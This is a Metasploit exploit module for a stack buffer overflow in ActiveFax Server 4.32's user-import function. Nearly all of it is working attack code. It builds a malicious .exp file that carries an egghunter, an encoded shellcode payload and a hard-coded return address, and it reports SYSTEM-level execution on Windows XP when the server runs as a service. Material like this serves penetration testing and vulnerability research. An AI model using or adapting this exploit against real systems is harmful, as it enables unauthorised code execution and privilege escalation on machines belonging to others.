ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in ActiveFax Server. The vulnerability is
        a stack based buffer overflow in the "Import Users from File" function, due to the
        insecure usage of strcpy while parsing the csv formatted file. The module creates a
        .exp file that must be imported with ActiveFax Server. It must be imported with the
        default character set 'ECMA-94 / Latin 1 (ISO 8859)'. The module has been tested
        successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the
        Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Craig Freyman', # Vulnerability discovery and PoC
          'Brandon Perry', # Metasploit module
          'juan vazquez'   # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '85175' ],
          [ 'EDB', '20915' ],
          [ 'URL', 'http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space' => 4000,
          'BadChars' => "",
          'DisableNops' => true,
        },

      'Targets'        =>
        [
          [ 'ActFax 4.32 / Windows XP SP3 EN / Windows 7 SP1',
            {
              'Ret'	  => 0x00401b22, # ret from ActFax.exe]
              'Offset'  => 512
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2012-08-28',
      'DefaultTarget'	 => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.exp']),])

  end

  def exploit

    #These badchars do not apply to the final payload
    badchars = (0x00..0x20).to_a.pack("C*") + "\x7c"

    eggoptions =
      {
        :checksum => true,
        :eggtag => 'w00t'
      }

    hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

    [ 'x86/alpha_upper'].each { |name|
      enc = framework.encoders.create(name)
      if name =~/alpha/
        enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
      end
      hunter = enc.encode(hunter, nil, nil, platform)
    }

    buffer = "\x83\xC4\x7f" * 19 # add esp, byte 0xff
    buffer << "\x83\xC4\x23" # add esp, byte 0x23
    buffer << hunter
    buffer << rand_text(target['Offset'] - buffer.length, badchars)
    buffer << [target.ret].pack("V")
    buffer << egg

    file =  "User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t"
    file << "Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t"
    file << "Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t"
    file << "Printer Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t"
    file << "Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\t"
    file << "Export Incoming\tExport-Path\tMark as Read\r\n"
    file << buffer
    file << "\r\n"

    file_create(file)

  end
end